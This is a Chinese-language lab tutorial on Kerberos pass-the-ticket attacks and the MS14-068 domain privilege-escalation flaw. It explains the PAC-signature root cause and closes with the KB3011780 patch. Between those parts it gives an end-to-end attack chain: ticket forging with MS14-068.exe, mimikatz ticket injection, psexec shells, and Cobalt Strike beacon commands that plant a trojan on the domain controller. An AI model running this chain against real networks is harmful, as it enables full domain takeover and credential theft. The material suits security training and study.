文章目录
MS14-068域控提权+票据传递攻击PTT
教材内容
一、PTT 简介
票据传递攻击(Pass The Ticket,PTT)是一种使用 Kerberos 票据代替明文密码或 NTLM 哈希的方法。PTH基于 NTLM 认证进行攻击,而 PTT 基于 Kerberos 协议进行攻击票据传递攻击,目的是伪造、窃取凭据提升权限。
常用的攻击方式:MS14-068、黄金票据、白银票据等。
二、MS14-068 漏洞
1、漏洞简介
2014年11月18 日,微软发布 MS14-068 补丁,修复了一个影响全部版本 Windows 服务器的严重漏洞。用于解决 Microsoft Windows Kerberos KDC 漏洞,该漏洞允许黑客提升任意普通用户权限成为域管理员身份。攻击者可以利用这些提升的权限控制域中所有的计算机,包括域服务器。
受影响版本:Windows Server 2003、Windows Vista、Windows Server 2008、Windows 7、Windows 8 and Windows 8.1、Windows Server 2012(以上系列的部分版本)
微软官方公告:https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-068
漏洞利用前提:
- 域控制器系统为受影响的版本,且没有打MS14-068的补丁(KB3011780)。
- 能操作一台域内的普通计算机,并获得普通域用户以及密码/hash值,以及用户的suid
2、PAC
微软在Windows平台上对Kerberos协议进行了一些扩充,其中最重要的扩充就是增加了认证过程中的权限认证,也就是在协议中增加了PAC(Privilege Attribute Certificate),特权属性证书。
在一个域中,通过 User 的 SID 和所在组 Group 的 SID 来确定该用户所拥有的权限。所以 PAC 包含 Client 的 User 的 SID、Group 的 SID。PAC 为了保证自身的合法性,还包含 2 个签名。
(1)Client 向 AS 请求认证,验证完Client的身份后,AS 在返回 TGT 时,生成 PAC,以及用于确保 PAC 不被篡改的两个签名,一个签名的密钥为 KDC用户(krbtgt) 的 NTLM Hash,另一个签名的密钥为 Server 的 NTLM Hash,而签名的内容主要为 User SID、Group SID 。
(2)Client向 TGS 发送请求,来获取访问 Server的Ticket 。TGS 对TGS Request 中的 TGT 解密,并通过两个签名来验证 PAC 的合法性。若验证通过,TGS 会重新生成两个新的签名保证 PAC 不被篡改。第一个签名的密钥为 Server 的 NTLM Hash,第二个密钥为 Server 与 Client 的临时会话密钥 Session Key(Server-Client)。新的 PAC 会被放置在签发的访问票据 Ticket 中,使用 Server 的 NTLM Hash进行加密。
(3)Client 使用 Ticket 向 Server 请求相应的资源, Server收到请求,将 Ticket 解密并验证,校验 PAC 中的两个签名,验证 PAC 的合法性,之后根据 PAC 得知Client的权限,让其访问对应资源。
3、漏洞产生原理
Client 在向 AS 发送请求时,可以设置一个名为 include-pac 的字段为 False,而后 AS 生成的 TGT 并不会含有PAC,该字段默认为 True。在 Client 收到不含 PAC 的 TGT 后,可以添加一个 PAC 放于TGS Request 的数据包中,而 TGS 收到这个请求的数据包时,仍能正确解析出放在 TGS Request 中其他位置的 PAC 信息,因为 KDC 允许用户使用这样的构造。
在 KDC 对 PAC 进行验证时,对于PAC中的签名算法,虽然原则上规定使用密钥加密的签名算法,但微软在实际场景中却允许 Client 指定任意签名算法。所以Client 构造一个PAC,其中添加高权限的User SID 与 Group SID信息,并指定使用MD5进行签名,只要TGS Requset 数据不丢失,那么该伪造的 PAC 就能被验证通过。
PAC 验证通过后,KDC 会将 PAC 中的 User SID、Group SID 取出来,重新使用KDC用户(krbtgt) 的 NTLM Hash 和 Server 的 NTLM Hash 分别生成两个新的签名。之后生成一个新的 TGT ,并把 PAC放入其中,加密后发送给 Client,而不是发送 Ticket 给Client。
三、漏洞复现
- 普通域用户上线之后本地提权至该主机的system权限
- 使用MS14-068域提权漏洞,提权至这台主机的域管理员用户,然后使用提权后的用户去伪造一个票据从而拿下域控
1、 实验环境:
域 :ymqyyds.com
域控制器(DC) : Windows 2008 R2 (IP:192.168.230.132)
域内计算机 :Windows 7 (IP:192.168.230.129)
普通域用户 :yang 和 ming
MS14-068漏洞利用工具 :MS14-068.exe (https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068)
Windows 密码获取工具 :mimikatz.exe
2、复现过程:
拿下一台域主机之后:
1、域信息获取
使用 net time /domain 命令查看所在域的时间与域服务器的名字 :
使用 ipconfig /all ,查看DNS服务器地址,单域中DNS与DC一般在同一服务器上
可以使用ping 命令进行校验
域 : ymqyyds.com
域服务器名称 :
\\WIN-4SN3TCADBPV.ymqyyds.com
DC 的IP : 192.168.230.132
2、获取用户 SID ,使用命令:whoami /user
ymqyyds\yang
S-1-5-21-950637677-4107720893-3683532009-1105
也可以使用命令:wmic useraccount get name,sid 查看当前系统所有用户的名称和SID
Administrator S-1-5-21-564836456-2954950131-3790214008-500
Guest S-1-5-21-564836456-2954950131-3790214008-501
Administrator S-1-5-21-950637677-4107720893-3683532009-500
Guest S-1-5-21-950637677-4107720893-3683532009-501
krbtgt S-1-5-21-950637677-4107720893-3683532009-502
ming S-1-5-21-950637677-4107720893-3683532009-1000
yang S-1-5-21-950637677-4107720893-3683532009-1105
3、此时依旧只是普通域用户的权限,我们需要进行本地提权到本地system权限然后 dump hash
由于权限不够,所以获取hash失败,进行本地提权
然后选择一个监听器运行即可,成功后我们发现 rundll32.exe 进程上线了
然后 抓取 hash
3、使用MS14-068生成伪造的 kerberos 协议票据:
使用命令为:
MS14-068.exe -u 用户名@域 -p 用户密码 -s 用户SID -d DC的IP
MS14-068.exe不免杀,所以有两种方案,一是跳板机提权后信任MS14-068.exe,二是不将MS14-068.exe上传到跳板机,直接通过代理在攻击者主机上进行连接生成票,将票据上传到跳板机即可。
会生成一个“ccache”格式的文件(伪造的票据文件),存放于MS14-068.exe的工作目录下。
4、尝试访问域服务器的C盘,此时访问失败,因为我们还需要将票据导入。
5、使用mimikatz工具删除缓存的票据,并将伪造的票据导入内存。
mimikatz :一款 Windows 密码获取工具,可以帮助用户提取出电脑中的登录凭证。可以从内存中提取明文密码、哈希、PIN 码和 kerberos 票证等,还有哈希传递、票证传递或构建黄金票证等功能。
(1)查看内存中已有的Kerberos票据:kerberos::list
(2)删除缓存票据:kerberos::purge
(3)导入伪造的票据:kerberos::ptc 票据存放路径
6、再次访问域服务器的C盘,此时可以访问,说明普通域用户提权成功。
使用psexec完成反弹Shell: psexec.exe \\dcadmin cmd.exe
后续操作与PTH部分的内容相同。
四、在CS中提权
1、先上线域客户机Windows7(域普通用户登录时),再使用插件调用MS14-058完成本机提权,获取用户Hash和密码。
如果目标系统不显示明文密码,插件也可以修改注册表获取明文密码。
2、完成后将MS14-068.exe文件到Windows7的C:\Tools目录下(或任意其他目录,也可以直接在攻击者机器上生成凭证)
3、利用MS14-068完成本机提权,获取本机登录账户信息和凭证(使用域用户上线的主机,不要使用提权后的主机,该主机仅用于获取密码Hash)。
beacon> shell cd C:\Toolsbeacon> shell MS14-068.exe -u zhangsan@woniuxy.com -p Woniu456 -s S-1-5-21-265030030-3466757011-2842256786-1107 -d 192.168.112.100
# 确认在C:\Tools目录下生成了:C:\Tools\TGT_zhangsan@woniuxy.com.ccache 文件
4、在CS中运行Mimikatz命令,完成权限获取。
beacon> mimikatz kerberos::list
beacon> mimikatz kerberos::purge
beacon> mimikatz kerberos::ptc C:\Tools\TGT_zhangsan@woniuxy.com.ccache
beacon> shell dir \\dcadmin\c$
5、控制域控后,运行各种木马上线的命令拿下域控。
beacon> shell c:\Tools\PSTools\psexec.exe \\dcadmin cmd.exe /c "C:\Tools\http_beacon.exe"
拿下域控后,可以利用域控管理员账户登录任意其他域客户机,实现全域控制。
五、 修复方法
下载微软官方的MS14-068漏洞的补丁,补丁为KB3011780。安装后,使用 systeminfo 命令查看系统信息总共已安装的修补程序,即可查看是否成功安装补丁。